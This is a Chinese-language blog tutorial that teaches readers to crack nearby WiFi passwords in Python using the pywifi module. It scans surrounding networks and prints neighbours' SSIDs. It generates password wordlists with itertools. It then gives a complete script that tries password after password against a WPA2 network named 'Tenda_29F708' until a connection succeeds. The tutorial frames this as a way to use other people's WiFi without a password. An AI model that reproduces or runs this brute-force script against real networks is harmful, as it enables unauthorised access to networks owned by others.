現在的年輕人沒網可不行,家裏沒有網絡的也都會搜索看看附近有沒有能夠連接的網絡,可是沒有密碼該怎麼辦呢,很多人都會想到用萬能鑰匙,那麼本篇文章我們就用Python來自己實現一下wifi密碼的破解。
模塊介紹
Python提供了一個用於操作無線接口的跨平臺模塊:pywifi。
所以我們先將該模塊下載好,下載指令:pip install pywifi
。關於pywifi模塊的使用這裏有介紹:https://github.com/awkman/pywifi/blob/master/DOC.md,感興趣的同學可以進去看看。
模塊初體驗
安裝好模塊之後,我們來嘗試着使用一下,新建一個.py文件,將模塊導入:
import pywifi
# 需要下載該模塊comtypes
from pywifi import const
這裏的第二行代碼意思是引用pywifi模塊中定義的常量,引入後就可以直接使用了。
判斷是否連接到wifi環境
pywifi模塊如何判斷我們當前是否已經連接了wifi呢?很簡單:
import pywifi
# 需要下載該模塊comtypes
from pywifi import const
# 判斷是否已經連接到wifi
def gic():
# 創建一個無線對象
wifi = pywifi.PyWiFi()
# 獲取到第一個無線網卡
ifaces = wifi.interfaces()[0]
print(ifaces.name())
gic()
首先創建一個無線對象,通過該對象調用interfaces()方法可以獲得網卡列表,通常,一個平臺只有一個wifi接口,所以直接取索引0獲得我們的網卡對象,並打印其名稱,運行結果爲:
Qualcomm Atheros AR956x Wireless Network Adapter
[Finished in 0.7s]
然後我查看了自己的網卡名稱:
說明剛纔的程序已經成功獲取到了網卡對象,通過該對象調用status()方法能夠知曉我們的wifi狀態,比如:
import pywifi
# 需要下載該模塊comtypes
from pywifi import const
# 判斷是否已經連接到wifi
def gic():
# 創建一個無線對象
wifi = pywifi.PyWiFi()
# 獲取到第一個無線網卡
ifaces = wifi.interfaces()[0]
print(ifaces.status())
gic()
此時運行程序,結果爲:
4
[Finished in 0.7s]
實際上,wifi共有四種狀態,分別爲:
- const.IFACE_DISCONNECTED:值爲0,表示未連接
- const.IFACE_SCANNING:值爲1,表示正在掃描
- const.IFACE_INACTIVE:值爲2,表示未激活
- const.IFACE_CONNECTING:值爲3,表示正在連接
- const.IFACE_CONNECTED:值爲4,表示已連接
從這些常量定義中,可以得知我的電腦目前是連接了wifi的,事實也確實如此:
所以如何實現判斷當前是否連接到了wifi,代碼如下:
import pywifi
# 需要下載該模塊comtypes
from pywifi import const
# 判斷是否已經連接到wifi
def gic():
# 創建一個無線對象
wifi = pywifi.PyWiFi()
# 獲取到第一個無線網卡
ifaces = wifi.interfaces()[0]
# 判斷wifi狀態
if ifaces.status() == const.IFACE_CONNECTED:
print("已連接")
else:
print("未連接")
gic()
運行結果:
已連接
[Finished in 0.8s]
掃描附近的wifi
再介紹一下如何使用pywifi模塊掃描附近的wifi:
import pywifi
# 需要下載該模塊comtypes
from pywifi import const
# 掃描附近的wifi
def bies():
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
# 掃描wifi
ifaces.scan()
# 獲取掃描結果
result = ifaces.scan_results()
for data in result:
# ssid爲wifi的名稱
print(data.ssid)
bies()
想實現這個功能非常簡單,還是先獲取到網卡對象,然後調用該對象的scan()方法進行掃描,並調用scan_results()獲取掃描結果,最後遍歷一下內容,運行結果爲:
Tenda_29F708
Tenda_29F708
ChinaNet-4m2m
CMCC-ZTRF
ChinaNet-5inu
ChinaNet-iTV-5inu
CMCC-PrvR
TP-LINK_402
ChinaNet-iTV-pkQy
FAST_8326
H3C_27B7EC
TP-LINK_A3AD
ChinaNet-q5xV
TP-LINK_3EC0
ChinaNet-iTV-q5xV
CMCC-CyQ7
TP-LINK_D14A
TP-LINK_BD06
jiangqi
ChinaNet-aork
iTV-aork
CMCC-4NDa
Chinanet
DoMyNet_1170
@PHICOMM_5E
ChinaNet-n3kT
MERCURY_A616
midea_da_0519
TP-LINK_7145
ChinaNet-hjDH
iTV-hjDH
DIRECT-NCLAPTOP-PMOEF6JBmsGm
ChinaNet-pkQy
ChinaNet-WDkE
CMCC-hvzz
CMCC-3NtF
TP-LINK_BE59yjj
MERCURY_4690
ChinaNet-iTV-4m2m
ChinaNet-2.4G-402
PHICOMM_9A6656
[Finished in 1.2s]
看來我附近的wifi還是挺多的哈,當然這是未連接wifi的結果,如果你已經連接上了wifi,它將只能掃描到已連接的wifi,比如我連接上wifi後再運行程序,結果爲:
Tenda_29F708
Tenda_29F708
[Finished in 0.9s]
斷開wifi連接
所以不管你當前是否連接上了網絡,在開始破解之前,我得先將wifi斷開連接:
import pywifi
# 需要下載該模塊comtypes
from pywifi import const
import time
# 測試連接
def wifiConnection(pwd):
# 抓取網口
wifi = pywifi.PyWiFi()
# 獲取第一個無線網卡
ifaces = wifi.interfaces()[0]
# 斷開所有的連接
ifaces.disconnect()
time.sleep(1)
wifiConnection()
嘗試連接wifi
接下來就是最爲重要的一個功能,連接wifi,通過pywifi連接wifi需要以下幾個步驟:
- 創建wifi連接文件
- 確定要連接的wifi名稱
- 確定wifi的密碼
- 確定wifi的加密算法
- 對網卡開放
- 確定加密單元
- 刪除之前的所有wifi文件
- 添加自己創建的wifi文件
- 使用新的wifi文件進行連接
按照這些步驟進行編寫,代碼如下:
# 測試連接
def wifiConnection(pwd):
# 抓取網口
wifi = pywifi.PyWiFi()
# 獲取第一個無線網卡
ifaces = wifi.interfaces()[0]
# 斷開所有的連接
ifaces.disconnect()
time.sleep(1)
wifiStatus = ifaces.status()
if wifiStatus == const.IFACE_DISCONNECTED:
# 創建wifi的連接文件
profile = pywifi.Profile()
# 要連接wifi的名稱
profile.ssid = "Tenda_29F708"
# 對網卡開放
profile.auth = const.AUTH_ALG_OPEN
# wifi加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密單元
profile.cipher = const.CIPHER_TYPE_CCMP
# 密碼
profile.key = pwd
# 刪除所有的wifi文件
ifaces.remove_all_network_profiles()
# 設定新的連接文件
tep_profile = ifaces.add_network_profile(profile)
# 用新的連接文件去測試連接
ifaces.connect(tep_profile)
# 給wifi一個連接的時間
time.sleep(4)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已連接")
在上面的一系列步驟中,僅有一步內容是不確定的,那就是wifi的密碼,我們並不知道wifi的密碼,所以我們的想法是不斷地將某個密碼傳入進行測試連接,若連接失敗,則換個密碼繼續嘗試直至連接成功。
關鍵就是這個wifi的密碼該如何生成呢?這個在網上去搜其實有很多:
當然你也可以自己生成密碼本,不過自己生成的肯定沒有人家的全面,要生成密碼本也很簡單,代碼如下:
import itertools as its
# 迭代器
words = "123"
r = its.product(words,repeat = 3)
# 保存到文件中
dic = open("wifipwd.txt","a")
for i in r:
dic.write("".join(i))
dic.write("".join("\n"))
dic.close()
運行程序,產生wifipwd.txt文本,文本內容爲:
111
112
113
121
122
123
131
132
133
211
212
213
221
222
223
231
232
233
311
312
313
321
322
323
331
332
333
不過wifi的密碼遠沒有這麼簡單,它應該包含數字、大小寫字母甚至是特殊字符,所以自己寫的密碼本儼然不夠全面,比如:
import itertools as its
# 迭代器
words = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
# repeat表示生成的密碼位數
r = its.product(words,repeat = 8)
# 保存到文件中
dic = open("wifipwd.txt","a")
for i in r:
dic.write("".join(i))
dic.write("".join("\n"))
dic.close()
該程序能夠生成8位含數字、大小寫字母的wifi密碼。
開始破解
一切工作準備就緒,可以開始破解了,破解過程即:讀取密碼本,將密碼本中的密碼不斷地傳入測試連接的函數,如此反覆,直到連接成功,程序完整代碼如下:
import pywifi
# 需要下載該模塊comtypes
from pywifi import const
import time
# 判斷是否已經連接到wifi
def gic():
# 創建一個無線對象
wifi = pywifi.PyWiFi()
# 獲取到第一個無線網卡
ifaces = wifi.interfaces()[0]
if ifaces.status() == const.IFACE_CONNECTED:
print("已連接")
else:
print("未連接")
# 掃描附近的wifi
def bies():
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
# 掃描wifi
ifaces.scan()
# 獲取掃描結果
result = ifaces.scan_results()
for data in result:
# ssid爲wifi的名稱
print(data.ssid)
# 讀取密碼本
def readPassword():
print("開始破解:")
# 密碼本路徑
path = "C:\\Users\\Administrator\\Desktop\\CrawlerDemo\\wifipwd.txt"
# 打開文件
file = open(path,"r")
while True:
try:
# 讀取一行
password = file.readline()
bool = wifiConnection(password)
if bool:
print("密碼正確",password)
break
else:
print("密碼不正確",password)
except:
continue
# 測試連接
def wifiConnection(pwd):
# 抓取網口
wifi = pywifi.PyWiFi()
# 獲取第一個無線網卡
ifaces = wifi.interfaces()[0]
# 斷開所有的連接
ifaces.disconnect()
time.sleep(1)
wifiStatus = ifaces.status()
if wifiStatus == const.IFACE_DISCONNECTED:
# 創建wifi的連接文件
profile = pywifi.Profile()
# 要連接wifi的名稱
profile.ssid = "Tenda_29F708"
# 網卡的開放狀態
profile.auth = const.AUTH_ALG_OPEN
# wifi加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密單元
profile.cipher = const.CIPHER_TYPE_CCMP
# 密碼
profile.key = pwd
# 刪除所有的wifi文件
ifaces.remove_all_network_profiles()
# 設定新的連接文件
tep_profile = ifaces.add_network_profile(profile)
# 用新的連接文件去測試連接
ifaces.connect(tep_profile)
# 給wifi一個連接的時間
time.sleep(4)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已連接")
readPassword()
到這裏,破解wifi程序就完成了,如果你理解了這個程序會發現,這種方式去破解wifi顯然很糟糕,如果wifi密碼很簡單的話,應該還是能夠破解出來的,只是時間問題(如果你有一個完善的密碼本)。